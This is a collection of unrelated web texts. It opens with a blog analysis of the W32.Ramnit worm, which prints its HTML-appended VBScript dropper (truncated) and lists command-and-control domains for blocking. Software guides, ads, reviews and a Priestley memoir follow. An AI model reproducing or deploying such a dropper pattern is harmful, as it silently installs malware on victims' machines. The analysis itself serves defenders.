text:
Recently I came across a malware sample which have made some suspicious network activity to a domain called zahlung.name. The domain name looks very suspicious (German word for "payment") so I decided to take a closer look at the sample.
The Malware which I will talking about in this post is a Worm called W32.Ramnit. The Worm was first discovered in 2010 (in January by Synamtec and in August by McAfee).
*** Worm W32.Ramnit ***
Let's take a quick look at the behavior of Ramnit. The Worm always installs itself into the same directory using the same filename:
In this case the file has a very bad AV detection rate:
MD5: 8746774d1033048dcdc6f82ffaffd80d
SHA1: 142fca53e1ffd6b40803d7989417fd6e4fbab1b4
File size: 51'200 bytes
VT Result: 3 /43 (7.0%)
After the Worm infected the computer, it starts iexplore.exe in a invisible mode and injects itself into the process. In this way the Worm is able to bypass the local Firewall and communicate with it's Command&Control Server (C&C).
As soon as the computer is infected, the Worm starts to spread itself by infecting all files on the victim's computer which have the file extension EXE, DLL or HTML. For example, if Quick Time Player is installed on the victim's computer the Worm will automatically search thru the directory and infecting the EXE, DLL and HTML files. Below is a screenshort of a clean systems (before the infection):
Followed by a screenshot of a infected system (same directory):
Note that the file size and date modified of the infected files has changed. The same goes for other directories with EXE, DLL or HTML files for example the Adobe Reader directory (before the infection):
And after infection:
Let's compare the original (clean) files with the infected files which has been patched by Worm Ramnit:
* MD5: 6df76965a0fb8237e9c3b3cab9815ec2
* File size: 413'696 bytes
* VT result: 0/41 (0.0%)
* MD5: c32b6f477c5454d4e2cded81e686036d
* File size: 466'944 bytes
* VT result: 38/42 (90.5%)
*** AGM.dll (Adobe Reader) ***
* MD5: 8f0b2030b5e42235c855a94a17f57118
* File size: 4'883'456 bytes
* VT result: 0/41 (0.0%)
* MD5: 833c79d662f8cc47579540dc03505419
* File size: 4'936'192 bytes
* VT result: 39/43 (90.7%)
As shown on Virustotal, the files which have been infected by the Worm are pretty good detected by most of the AV engines.
If we take a closer look into a infected HTML file we will see that the Worm has added a VB-Script at the end of the file:
<script type='text/javascript'>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A900003000000[...]"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
If a user runs the HTML file, the VB-Script will drop a file called "svchost.exe" and infect the computer.
*** C&C Communication ***
The Worm is using it's own proprietary protocol to communicate with the C&C server on port 443 (which is normally HTTPs). Since August 2010 I've seen three different domain names which are being used by Worm Ramnit:
- zahlung.name (Firstseen on 2010-10-01)
- glavdmn.com (Firstseen on 2010-09-16)
- fget-career.com (Firstseen on 2010-09-03)
I've Google for all three domain names and I haven't found any evidence which would show that these domain names are malicious. But of course they are. Unfortunately, if we lookup those domain names on URLVoid it won't look better:
- www.urlvoid.com/scan/zahlung.name [Detection: 1/17 (6 %)]
- www.urlvoid.com/scan/glavdmn.com [Detection: 1/17 (6 %)]
- www.urlvoid.com/scan/fget-career.com [Detection: 1/17 (6 %)]
It's a pretty good example that sometimes the AV industry fails.
*** How the Worm spread itself ***
Worm Ramnit uses several ways to spread itself and infect other computers:
- Drive-By exploits
- Infecting EXE, DLL and HTML files on the victims computer
- Infecting removable medium including USB Stick, USB Harddrives and CDs
*** Conclusion ***
Due to the fact, that the Worm installs itself always as "DesktopLayer.exe", it shouldn't be to hard to identify infected systems. If you Google for "DesktopLayer.exe" you will see over 30'000 hits including users who complaining about the file "DesktopLayer.exe" which they just found on their computer. So it looks like the Worm is already pretty wide spreaded.
As already mentioned before, the Worm has various methods how he can spread itself. Mainly worms are a big problem for large networks (like coperate or governmental networks): If you have one infected computer the Worm will spread quickly within your network by infecting removable drivers or files one networks shares.
The mentioned C&C domain names which are associated with Worm Ramnit are already listed on AMaDa. Therefore you can use the AMaDa C&C Domain Blocklist to block C&C traffic or identify infected systems in your network.


text:
You can connect to your Office 365 or other Microsoft Exchange based email account Microsoft Outlook for Mac 2011 by using only your email address and password.
Note: If you are not using an Office 365 or other Exchange-based account, see Add an email account to Outlook for Mac 2011. For more information, see What is a Microsoft Exchange Server account?.
In this article
Set up Outlook for Mac 2011
Open Outlook for Mac 2011. On the Tools menu, click Accounts. If this is the first account you're creating in Outlook 2011, under Add an Account, click Exchange Account.
If you've previously created an email account for a different email address, in the lower corner of the Accounts dialog box, click , and then click Exchange.
On the Enter your Exchange account information page, type your email address.
Under Authentication, make sure User Name and Password is selected.
In the User name box, type your complete email address. In the Password box, type your password.
Make sure Configure automatically is selected, and then click Add Account.
After you click Add Account, Outlook will perform an online search to find your email server settings. In the dialog box that asks if you want to allow the server to configure your settings, select the Always use my response for this server check box, and then click Allow.
If Outlook is able to set up your account, you'll see the account you set up in the Accounts dialog box. Close the Accounts dialog box. If Outlook isn't able to set up your account, see the next section in this article.
Troubleshooting connection problems
If your email account is the type that requires registration, you must register it the first time you sign in to Outlook Web App. Connecting to your email account through Outlook will fail if you haven't registered your account through Outlook Web App. After you sign in to your account, sign out. Then try to connect using Outlook. For more information about how to sign in to your account using Outlook Web App, see Sign in to Outlook Web App.
If Outlook isn't able to set up your account, do one or more of the following:
Wait a few minutes and try again.
If you need to connect to your email account immediately, use a Web browser to connect to your account using Outlook Web App. For information, see Sign in to Outlook Web App or. You may also be able to connect to your account by using an email program that supports POP or IMAP. For more information, see Use IMAP or POP email programs.
Review the troubleshooting article, I can't connect to my Exchange account.
If you have an Office 365 account, be sure to visit the Office 365 Community.
If you know the name of the person who manages your mailbox (sometimes called an email administrator), contact them and report the error you get when you try to connect with Outlook.
What else do I need to know?
If you have an Office 365 account and have not yet installed Office 2011 for Mac, see Install Office on your PC or Mac with Office 365 for business.
If you're using Office 365, see Use my current Office for Mac apps with Office 365 for information about using Office 365 on your Mac.
For information about using Outlook 2011, see Outlook for Mac 2011 Best Practices: Set up Outlook to work for you.
If you have already installed Office, but are asked for a product key when you try to use Outlook, you may be using Office 2011 Home and Student, which does not include Outlook. For more information about this and other issues, see Known issues in Outlook 2011.
For more information about the different ways you can access your Office 365 or other Exchange-based account using a Mac, see Access your account using a Mac.

subset: commoncrawl


text:
Gaia Herbs Single Herbs Kava Kava Root restores calm and relaxation. Many systems of the body can be negatively affected by stress. That is why achieving a state of calm and relaxation is so important for wellness. Gaia Herbs' Kava Kava is a potent herbal extract that helps restore emotional balance. Made from ecologically harvested Kava Kava from Vanuatu, it contains a guaranteed 225 mg of active Kavalactones per serving.
Individual herbs in their vibrant, natural form support each person uniquely. Gaia Herbs' Single Herbs contain concentrated extracts of an individual medicinal herb, to deliver Nature's vitality to you.
The Gaia Difference
- 100% Vegan no animal by product
- 100% Vegetarian, dairy free, no gluten-containing ingredients - Easily digestible plant-derived capsule
- Laboratory tested for purity - Free of heavy-metal toxicity
About Gaia Herbs
Gaia's mission is to bring vitality to -and create a conection between -plants and people. Their goal is larger than simply producing high-quality, pontent herbal products. As steward of coevolution -the knowledge that plants and people have evolved together on Earth, forming a symbiotic connection as a result- Gaia is committed to leading the way in fostering the connection between plant and people. Gaia believes they must do all that they can to preserve the Plant Intelligence within each herb. Gaia must "plant intelligence" for the future. And they must continue to learn from Nature and encourage the sharing of this knowledge with others.
Each herb must be cultivated in accordance with Nature's intent. In order to deliver herbal medicines of assured purity, Gaia adhere to a stringent set of principles-rules they uphold as a company at Gaia Farm, and that their Certified Organic Farmers, Land Steward Harvesters, and Validated Partners must also follow.
These basic tenets are the foundation of the Gaia Principles of Purity-processes and protocols beneficial to both plants and people:
- Gaia strives to procure all seeds and plants from sources whose organic methods and plant quality can be verified.
- Gaia adheres to strict Certified Organic cultivation practices and meticulous crop monitoring - and require the same of our Certified Organic Farmers.
- Gaia actively promotes growing, harvesting, wild crafting, and purchasing practices that protect land ecosystems and enable the indigenous communities that grow and gather for them to achieve a more sustainable life.
- For crops that Gaia does not grow, they purchase raw material from forest trade communities, indigenous growers, harvesters, and Validated Partners with a firm conviction to promote social sustainability in local communities and indigenous cultures.
- Gaia upholds ethical business practices, both locally and around the world, to expand their sphere of influence beyond the acreage of Gaia Farm.
As Gaia create herbal medicines, they must ensure the fullest possible expession of each herb. As herbal ingredients move through the production process, they are committed to using the right extraction technology and ideal concentration methods to act in accordance with the physical properties of the herb. With every herb that they process in their GMP compliant facility they apply ONLY Full Spectrum processing technology. Their full spectrum processing involves choosing the ideal extraction and concentration methods to maintain the integrity of each individual plant. They do not isolate or purify a single active plant compound all on its own, nor are chemical or synthetic compounds ever added to their extracts. Instead, they deliver the complete natural array of the plant's compounds as intended by Nature, in order to facilitate the optimal physiological cascade of benefits within the body.


text:
Showing Suppliers 1 - 7 of 7
Aero-Space Southwest, Inc.
Address: 21450 North 3rd Ave., Phoenix, AZ
Business Type: Distributor
Arizona Components Co., Inc.
Address: 2901 W. McDowell Road, Phoenix, AZ
Business Type: Distributor
Avnet, Inc.
Address: 2211 South 47th Street, Phoenix, AZ
Business Type: Distributor
Description: One of the largest distributors of electronic components, computer products and embedded technology serving customers globally, Avnet provides a vital link in the technology supply chain. Market needs and trends drive Avnet's product and services strategy, supported by a global infrastructure.... (more)
Avnet Express
Address: 2211 S. 47th St., Phoenix, AZ
Business Type: Manufacturer, Distributor, Service
Description: Avnet Electronics Marketing One of the world's largest technology, marketing, distribution and services companies Offers leading design chain and supply chain services for the electronics industry, distributing electronic components and embedded solutions from leading manufacturers... (more)
Dalis Electronics
Address: 3801 E. Roeser Road, Suite 20, Phoenix, AZ
Business Type: Distributor
Future Electronics
Address: 4801 East Washington St., Suite 260-B, Phoenix, AZ
Business Type: Distributor
Description: More Than a Distribution Company Future Electronics' is a world-class leader and innovator in the distribution and marketing of semiconductors and passive, interconnect and electro-mechanical components. They operate in 169 locations in 41 countries in the Americas, Europe and... (more)
Piatt Thomas Sales, LLC
Address: 3310 W. Bell Road, Unit 191, Phoenix, AZ
Business Type: Service


text:
In the last 2 days, I have received at least 3 fraudulent solicitations via U.S. mail and who knows how many via e-mail. While I've gotten pretty good at detecting spam scams, it can be harder with physical mail solicitations.
The origin of the fraudulent solicitations I received were very different in nature — a crafts product testing club, an automobile warranty service and a "Title Compliance Board" — but they all had two things in common: they wanted me to pay hundreds of dollars for things they will never deliver or for something I could get myself for about $5 (my property deed), and they came in very convincing looking packages.
So I thought I'd christen this Identity Protection and Fraud Prevention Week here at Pecuniarities and follow-up my last 2 posts:
- Beware of Fake IRS (Internal Revenue Service) Phishing Email Scams
- A Few Tips for Protecting Your Identity Should You Lose Your Wallet
with a compilation of links information on fraud prevention.
I've spent the majority of this week working on this list where you will find almost 100 links to online resources provided and recommended by the government to teach you how to protect yourself from the rampant greed of the physical- and cyber-world. Topics covered include how to recognize, avoid, report and recover from scams and frauds of all sorts.
Click on the Table of Contents link below for a preview of the topics covered in this list.
If you don't have the time to go through all this information right now, be sure and bookmark this page so you can refer to it should the need arise. And please share this page with your friends and family!
Table of Contents
– Click on the links to navigate to each section
– Click your browser back button to return here
- Consumer Safety and Fraud Prevention Resources
- Identity Theft
- SPAM, Phishing, Email & Internet Fraud
- Fraud & Scam Alerts
- Links for Reporting Frauds, Scams & Crimes
- Victim Assistance
- Contacting Government Agencies
- Non-Government Resources
- Credit Reports and Bureaus
- International Government Consumer Safety Sites
- Share This Page With a Friend
Continue reading Consumer Safety Resources from the Government on SPAM, Scams, Fraud, Phishing and Identity Theft


text:
|The Quintessential Trout Trout angling is the core of flyfishing worldwide.
|Topic Review (Newest First)
RE:VT Trout
You are a lucky guy! Did I tell you about the time I went fishing with my wife? She brought along a good book. When the rod got hit, I said "you got a fish, reel it in!" She said, with her finger on the paragraph, eyes fixed on the book trying to finish the sentence "hold on... wait a sec...."
She's the very best thing that has ever, and will ever happen to me - but a fisherperson... NOT!
What's next for her - stripahs?
VT Trout
My planning, scheming, hoping & praying has paid off!
Last week my wife landed four rainbows, in moving water, with a fly rod in horrible conditions. She is now a member of our tribe of graphite waving fools.
We were fortunate to have been given a mini-vacation inclusive of a guided fly-fishing trip with Orvis endorsed guide Chuck Kashner. Cathy had taken a "Ladies Only" seminar with Geroge Roberts & Shelia Hassan so, she was as ready as she could be. (We decided that my trying to teach her would end our marriage)
I was awoken early Thursday AM to the the sounds of rain & heavy wind, managing to fall back asleep hoping it would clear up before our noon- 8 PM trip with Chuck, I was comfortably experiencing the priceless commodity known as sleep when the phone rang. It was Chuck calling to start our trip earlier to ensure that he could get us into fish!
As we hit a pond for Chuck to check out our my wife's casting abilities, our bright sunshine was buried by DARK clouds, increasing wind and of course, rain. Being the trooper that she is, my wife donned her raingear and continued her mini casting clinic with Chuck. I was left alone to harrass the brookies of the pond with Chuck's suggestion that I may not need to double haul my 4 weight - DOH!
The weather cleared and we hit a small stream in Pawlet. As I seperated from the two of them to hit some pools Chuck had picked out for me, the skies really opened up. So this is what it's like going through a car wash with the top down...
I kept waiting for Chuck & Cathy to blow by on their way to the truck but it never happened. Skunked, I worked up stream towards them to hear shouts of joy as Cathy hooked into what I was to learn was her third rainbow of the day!
I've said it before and I'll say it again, I'm a lucky man.
I greatly enjoyed spending time with Chuck & learning in a day more about trout fishing than I learned in the last 15 years.
The goal of the day was to make sure Cathy caught fish and wanted to do it again. Chuck was definitely the right man for that job. He's an incredible guide who thought of every little detail to make our very wet day meet and exceed our expectations.
Oh yeah, I caught fish too.
For those interested, Chuck can be reached at 800-682-0103.
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text:
Just because you save money buying store-brand foods doesn't mean you have to sacrifice flavor. In Good Housekeeping Research Institute taste tests, some generic products performed as well — if not better — than their name-brand counterparts.
Here are eight generic-brand foods that deserve a home in your kitchen.
MORE From Good Housekeeping:
Shredded Cheese – 365 Everyday Value
The mild shredded cheese by 365 at Whole Foods won the tasters' and editors' pick, beating out nine name brand shredded cheeses. The cheese was praised for its "creamy" texture and "bold" flavor. With a price of $4.50 for 12 ounces, you can't go wrong.
Multigrain Crackers – Trader Joe's
For a buttery, budget-friendly cracker, try Trader Joe's multigrain crackers. These snacks, which cost just $1.69 for a 10-ounce box, have a crispy, flaky texture with a hint of onion.
(See more: Asian hot sauce taste test: Beyond Sriracha)
Balsamic Vinegar – Archer Farms
Archer Farms balsamic vinegar from Target was noted for having "a good mix of tangy and sweet" flavor. With "hints of cherry" and "smoke", it's the perfect complement for salads, marinades, and even desserts.
The price of $7.99 for 16.9 ounces is hard to pass up.
Whole Wheat Pasta – 365 Everyday Value
While some whole wheat pastas have a gritty, unappealing texture, 365's whole wheat pasta from Whole Foods stood out.
The pasta, with its mildly sweet and nutty flavor, was firm, yet chewy, when cooked. At $1.79 for 16 ounces, we bet you'll be coming back for more.
Instant Oatmeal – Walmart Great Value
It may be the most important meal of the day, but that doesn't mean you have to splurge on breakfast. Walmart's Great Value brand instant oatmeal offers the same hearty breakfast at a fraction of the brand-name cost.
While Great Value's oatmeal is missing the added sweetness, it lets you flavor your food as you like. You can buy 12 days' worth of instant oatmeal for only $1.90!
Whole Wheat Hamburger Buns – Trader Joe's
Grilling aficionados should try Trader Joe's whole wheat hamburger buns. With their light texture and generous amount of sesame seeds, these buns could quickly become your healthier version of the classic. And the price is right, too: $1.90 for an 8-pack.
Frozen French Fries – Market Pantry
With an ultra-crispy outside and a "creamy" yet fluffy inside, it's hard to believe Market Pantry Thin-Cut Fries from Target were sold in the freezer section.
Enjoy 26 ounces of "potato-y" shoestring flavor for only $2.
Applesauce – 365 Everyday Value
Whole Foods' 365 organic applesauce is the perfect combination of sweet and tart. Its consistency stays true to traditional applesauce without losing that apple flavor.
At $2.69 for 24 ounces, it's a snack time staple that's easy on the wallet.
More from Good Housekeeping:
Cool New Space-Saving Products
Wacky Beauty Ingredients That Actually Work


text:
We were very happy with the service we received from TLC Home Maintenance. Their pricing was competitive & the work completed was to a high standard. The tradesman were friendly & respectful of the fact they were entering our home over a number of days. We were so pleased with ..
We just had JU Flooring put in a treated pine deck for us in our backyard. We are so excited to have such a lovely new space to live and entertain and for our kids to play. We would like to extend our deepest thanks to JU Flooring for the fantastic job they did. Great attent..
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NINETY years have passed since Dr. Joseph Priestley died at Northumberland in Pennsylvania. He is buried there with his wife and youngest son, Henry, and one by one a group of American descendants have been gathered to his side in that simple graveyard. With his scientific achievements I am incompetent to deal; but it seems to me that his reputation is not lessened by the lapse of years. He had the divining intellect which suggested even more than it achieved. He told to his contemporaries his successes, and even his mistakes, with the eager simplicity of a child of genius. His statue, modelled from Fuseli's portrait, was placed in the Oxford Museum by a committee co‐operating with Prince Albert; his name figures on the great frieze surrounding the Palais d'Industrie in the Champs Elysées; and Birmingham erected page: 26 a statue to him in 1874, the centenary of the discovery of oxygen.
When this statue was inaugurated, my mother, who was born in Pennsylvania, was probably the only person living in England who could personally recall Joseph Priestley. She was seven years old when he died. He had taught her to read, and her memory of him remained perfectly clear and vivid. The delicate features of the old man, framed in thin locks of silvery hair, are recorded in the portrait by Artaud before me as I write. This presentment, rather than any of those by Flaxman, is what my mother affirmed to be the real grandfather she remembered. It may not be without interest to try and recover some traits of the man as he was, according to the last echo of oral tradition. Also to this end indirect help is given by a record which he left of his private life, an old‐fashioned reticent autobiography, which, though several times reprinted, is hardly known in general literature, because it is filled from cover to cover, not with records of the scientific discoveries which were making him famous from one end of Europe to the other, but with thoughts and interpreta‐ page: 27 tions interpretations pertaining to the Scriptures and life eternal. It is impossible to look upon the faded manuscript, in its century‐old binding of white skin, without a feeling of deep, pathetic reverence. Matthew, Paul, John—with them he wrestled single‐handed, if by any means he might wring out the truth of things divine. He scarcely takes the trouble to note those experiments on electricity, gas, and water which earned for him, even in his own lifetime, the recognition of the civilized world. To this autobiography his eldest son appended a supplementary chapter recording the last years and peaceful death‐bed, at which even the little grandchildren were present.
Modern readers will perhaps regret the destruction by Dr. Priestley himself of the great bulk of his correspondence; and in the first edition of the 'Life' Mr. Priestley expresses a sentiment which falls on the ear like a tone from some old‐fashioned musical instrument forgotten of men:—
"The work," says he, "might have been made more interesting, as well as entertaining, had I deemed myself at liberty to have published page: 28 letters addressed to my father by persons of eminence in this country (America) as well as in Europe. But those communications, which were intended to be private, shall remain so, as I do not think I have a right to amuse the public either against or without the inclinations of those who confided their correspondence to his care."
Many letters have, however, been preserved from oblivion; some have been privately printed in New York, others are in my possession, and now that full ninety years have passed since the last letter was written and received, and that few can even remember in his old age the reverent and scrupulous son, no such obligation need restrain the pen, though the written personal record is at best but meagre.
It can, however, be supplemented from other sources. Priestley made a great impression upon his contemporaries, as is witnessed by the extraordinary number of portraits and medallions executed in his lifetime; nor did the political caricaturists spare him. Moreover, the dignified household, marked by plain living and high thinking, and at all times poor in worldly goods, became the centre of a very whirlpool. The page: 29 Birmingham riots raged round Priestley and his friends, and were full of ferocious passion, full also of incident, and of that strange blending of the sublime and the commonplace in which lies the deepest pathos. We have many letters recounting how people lost their property, their loose coin, their keys, and their clothes, as well as precious papers. We are told how the young people of Priestley's congregation, Mary R. and Sarah S. and their brothers, were hurried away along the country roads by their frightened parents, the mob roaring and racing a mile or two behind; and one of the girls afterwards wrote the best account we have of those four days. In the midst of the turmoil stood Priestley, calm and patient, forbidding the young men of his congregation to strike a blow. In the letters of his contemporaries, rather than in any documents furnished by himself, we must seek for the man.
He was born in Yorkshire, of an old Presbyterian stock; one branch of the family acquired wealth and lived at Whiteways, but his own immediate ancestors were farmers and clothiers, people of substance in the yeoman class. We page: 30 can trace them accurately as far back as the middle of the seventeenth century, when one Phœbe Priestley, after wrestling with fever in her household, was herself stricken and "lay like a lamb before the Lord" on her death‐bed. Her husband wrote a long and touching account of all she said and did, that her children might know what manner of mother they had lost. These people were presumably of the same stock as the Priestleys of Soylands, who run back into the Middle Ages.
The children of the Priestley families were all named after Scriptural characters. They were Josephs, Timothys, and Sarahs from one generation to another. The Bible was stamped into them, and from it they drew all the inspiration of their lives. That gifted Joseph, who was to make so singular an impression on his time, and to be associated with Shelburne and Sandwich, with Captain Cook, D'Alembert, and Diderot, and to receive honours from the Empress Catherine of Russia, was born on March 13th (old style) in the year 1733, at Fieldhead, a small stone house about six miles south‐west of Leeds. It is now taken down, but I visited it page: 31 in my youth, and made a rough sketch, which shows that it was rather smaller than the house of Shakespeare's birth at Stratford‐on‐Avon, but of much the same type, and probably very ancient. The front door led into the house‐place; a division had been made to accommodate two families, but originally, one hundred and sixty years ago, it would have been a solid and respectable homestead, and fifty years later we find Priestley writing to his sister, Mrs. Crouch, at the address of Fieldhead.
He was the eldest of six, and when quite a little fellow was sent to his maternal grandfather, a farmer at Shapton, near Wakefield, and remained there till his mother's death in 1740.
"It is but little," he says, "that I can recollect of my mother. I remember, however, that she was careful to teach me the Assembly's Catechism, and to give me the best instruction the little time that I was at home. Once in particular, when I was playing with a pin, she asked me where I got it; and on my telling her that I found it at my uncle's, who lived very near to my father's, and where I had been playing with my cousins, she made me carry it page: 32 back again; no doubt to impress my mind, as it could not fail to do, with the clear idea of the distinction of property, and of the importance of attending to it. She died in the hard winter of 1739, not long after being delivered of my youngest brother, and is said to have dreamed a little before her death that she was in a delightful place which she particularly described, and imagined to be heaven. The last words which she spoke, as my aunt informed me, were: 'Let me go to that fine place.'"
Quaint little picture of the Puritan woman whose lesson to her son was to remain indelible, and to be recalled by the old man after a long career of labour and honourable success!
The boy's life now underwent a radical change. On his mother's death he was taken home, the next brother replacing him in the farmer's household, and before long a sister of his father's, married to a wealthy man of the name of Keighley, offered to adopt and consider him as her own child. This was when Priestley was nine years old, and for twenty years Mrs. Keighley survived and kept her promise. Her husband, "remarkable for piety and for public page: 33 spirit," died soon after the adoption of the child, leaving the greater part of his fortune to the widow, and much of it at her disposal after her death. From this time forward the boy had every advantage of education so far as it could be obtained at a time when the Universities of Oxford and Cambridge were strictly closed to Dissenters. He was well instructed in the learned languages, of which he says he had acquired a pretty good knowledge at the age of sixteen.
His aunt naturally wished her adopted son to become a minister, and he entered into her views; but becoming, as it was thought, consumptive, he took another great intellectual start. The dead languages were laid aside, and with a view to a mercantile situation the youth learned three modern languages—French, Italian, and High Dutch, all without a master—and in the first and last, says he, "I translated and wrote letters for an uncle of mine who was a merchant, and who intended to put me into a counting‐house at Lisbon. A house was actually engaged to receive me there, and everything was nearly ready for my undertaking the voyage." page: 34 But the patient's health improved, and the foreign project was laid aside.
Priestley, therefore, resumed his theological studies, and in due time was ordained minister; and being a man of great though unconscious ability, wholly free from exaggeration of language, he has drawn a picture of the life led in Yorkshire by Presbyterian divines which must impress the modern reader with astonishment, and perhaps with admiration. No hermits of the desert, no monks of La Trappe, dwelt more serenely in an atmosphere apart. It was the time of Louis the Fifteenth in France and of George the Second in England, and the nephews and nieces of Charlotte Princess Palatine were still living, and her letters, whose name is legion, yet lay stored in the cabinets of her correspondents, full of inexpressible details discussed in most expressive language. It was the time when Jeanie Deans walked from Scotland to beg her sister's life of Queen Caroline, and met Madge Wildfire in the way. It was the time when the polite world was composed of "men, women, and Herveys"; when Squire Pendarves was found dead in his bed in page: 35 Greek Street, Soho, leaving his young widow to be courted by John Wesley and wedded by Dr. Delany; when statesmen bribed, and young blades drank, and Sir Harbottle carried off Harriet Byron, whose shrieks brought Sir Charles Grandison to the rescue, sword in hand. It was the period when the Jacobite Rebellion flamed up and expired, when the Young Pretender marched to Derby, and the heads of the decapitated lords were exposed on Temple Bar; tragedies, agonies, highway robberies,—Dick Turpin, Jack Sheppard, smugglers, the press gang;—Frederick Prince of Wales quarrelling in Leicester Square, Queen Caroline on her death‐bed telling her weeping little George "que l'un n'empêche pas l'autre," Horace Walpole making the grand tour, Dean Swift dying in agonized misery. Merciful heavens! what an England, of which we possess the daily diary! We can see Hogarth at his easel, and Sir Joshua taking his first stiff portraits, and Garrick going on pilgrimage to Stratford, and the young king courting Hannah Lightfoot and marrying his little bride from Mecklenburg. Without too much verifying of dates, it is page: 36 certain that all this was happening before Dr. Priestley was thirty years of age, and that of none of it is there the faintest mention in the account he has drawn up of his own childhood, youth, and young manhood, though he was himself destined to be one of the principal illustrations of the Georgian era. For anything which appears to the contrary, he and his friends might have dwelt in some far serene planet, whose inhabitants were wholly given up to study and to prayer. The tutors and students of Warrington Academy bestowed their whole minds (and very good minds) on the classics, the mathematics and metaphysics, and most of all on the theological discussions upon freewill and necessity, on the exact attributes of the Logos, and the exact results of the Atonement. Keenly alive to the immortal interests of man, the actual world touched them not. Much must be allowed to the absence of newspapers, to the want of easy communication. The men of the North who did not live with their bottle lived with their book; but it does seem strange that forty years later, when writing or revising his own story, Priestley, become in a sense a man of the world, page: 37 should not recall of those exciting times a single letter; a single speech. Still stranger perhaps is it to note that though during his last years Europe still lay bleeding, he added no word on the great convulsion, nor upon the rise of Buonaparte; except in occasional notices in his private letters, he scarcely makes reference to the French Revolution.¹ It is impossible to doubt that all its details became gradually known to him, but it is the literal truth that his interests lay "otherwhere." People now talk of true inwardness—such inwardness as Priestley's was really a "recollectedness" of the most singular kind, and it largely accounts for the extraordinary personal influence he possessed. He impressed those about him as a being from another sphere; of this there are many traces. Yet his own life was really one of the first to be swept into the vortex. When Harry Priestley rushed into the great drawing‐room at Barr to tell the Galtons that the Bastille was down, it meant for the boy and his family flaming destruction and exile, and in his own case an early
¹ He received an invitation to stand as deputé for the Departement de l'Orne, which he refused.
page: 38 death. It is Marianne Galton, Mrs. Schimmelpennick, who tells the anecdote.
Returning to the thread of Priestley's life story, it was in 1752 that he went as a pupil to the Academy at Daventry, where he remained for three years under a successor of Dr. Doddridge. The new student felt "that peculiar satisfaction with which young persons of generous minds usually go through a course of liberal study in the society of others engaged in the same pursuits, and free from the cares and anxieties which seldom fail to lay hold on them when they come out into the world."
The endless discussions of these young persons need not be here analyzed, though they are most curious and interesting. They are accessible in print. In three years Priestley obtained a small appointment as minister at Needham Market, in Suffolk, and seems to have been pleased to get it. His congregation numbered about one hundred, and the salary did not even amount to the now classical forty pounds a year. The young man lived very meagrely. His rich aunt, Mrs. Keighley, had been displeased at his theological opinions, and she had taken a page: 39 deformed niece into her charge, who ultimately inherited all she had to bequeath. His aunt had always assured him that she would leave him independent of his profession, but he was "satisfied that she was no longer able to perform her promise," and freely consented to the money being left to his deformed cousin. His aunt finally bequeathed him a silver tankard, and he remarks, "She has spared no expense in my education, and that was doing more for me than giving me an estate."
In 1758 he left Needham, going to London by sea to save expense, and from thence to Nantwich, in Cheshire, where he had an offer from a congregation, and where he opened a school for about thirty boys, with a separate room for half a dozen young ladies. Priestley at all times gave his best mind to the teaching of girls, and shows by many incidental words that he held women in as high mental and moral estimation as men; and he does this quite simply, and with no idea of propounding a theory or combating a prejudice. The profits of the school now enabled him to buy a few books, and also some philosophical instruments, which he used page: 40 merely to instruct and amuse his boys. He tells us that he had no leisure to make any experiments till many years later. A portrait of him at this period of his life shows a slender, intelligent young minister in wig, gown, and bands. At Nantwich he learned to play the flute, and makes the odd observation that he would "recommend the knowledge and practice of music to all studious persons, and it will be better for them if, like myself, they should have no very fine ear or exquisite taste, as by this means they will be more easily pleased and be less apt to be offended when the performances they hear are but indifferent."
In 1761 he moved to Warrington, where he succeeded the famous Dr. Aikin as "tutor in the learned languages" at the Academy. "But as I told the persons who brought me the invitation, I should have preferred the office of teaching the mathematics and natural philosophy, for which I had at that time a great predilection." Here he remained six years, and in the second year became a married man, his wife being sister to one of his pupils, William Wilkinson, and daughter of a wealthy Welsh ironmaster. page: 41 This is how he writes about her many years later; there is no want of feeling in the simplicity of the style: our great‐grandparents did not wear their hearts upon their sleeves:—
"This proved a very suitable and happy connection, my wife being a woman of an excellent understanding much improved by reading, of great fortitude and strength of mind, and of a temper in the highest degree affectionate and generous, feeling strongly for others and little for herself. Also excelling in everything relating to household affairs, she entirely relieved me of all concern of that kind, which allowed me to give all my time to the prosecution of my studies."
It is a tradition in the family that Mrs. Priestley once sent her famous husband to market with a large basket, and that he so acquitted himself that she never sent him again! She was extremely intelligent and original, and her letters are much brighter than the Doctor's. Lord Shelburne found her one morning sitting on the top of a pair of steps, clad in a great apron, and vigorously pasting on a new well‐paper. She received him with calm composure! There page: 42 is a good portrait of her as an elderly lady in a cap, curving her hand round her ear to assist her hearing. She must have herself insisted upon being painted in this unusual attitude. She certainly looks like a person of excellent understanding whose mind had been much improved by reading.
In 1767 Priestley received an invitation to take charge of the congregation of Mill Hill Chapel at Leeds, and in September he moved thither, and remained six years. In 1772 he made his first publication on the subject of air. It was a small pamphlet on the method of impregnating water with fixed air. It was immediately translated into French, and excited a great degree of attention to the subject, and in the following year he published his first paper of experiments "in a large article of the Philosophical Transactions," and was awarded the gold medal of the Royal Society. By the kindness of Mr. Charles Aikin, I am enabled to give a letter written by Priestley to Miss Aikin (afterwards Mrs. Barbauld), which refers to similar experiments. The letter has no postmark, and is undated, but the reference to a second publication by Miss Aikin, and the page: 43 allusion to Calne, fixes the date as the latter end of 1773.
"DEAR MISS AIKIN,—You have made me perfectly easy and happy by your answer to my letter, the occasion of which I shall no more think of. Your name was not to the paper.
"Though I have published so much, I really am not able to give you any advice about your bargain with Mr. Johnson; and can only recommend my own practice, which is to leave it to himself, and to wait the sale of the work, which I hope will be such as to enable him to make you a handsome recompense.
"I am sorry for Mr. Walker and the Academy, but, after the complaints he has so very publickly made, it is much the most advisable for him to leave you; and though it may not be an easy matter to supply his place so well with respect to his ability, I hope you may be more happy upon the whole with another. I wish you may get some person of reputation, because the Academy will otherwise dwindle into a common school, and of that kind it will never be a first rate or a good one.
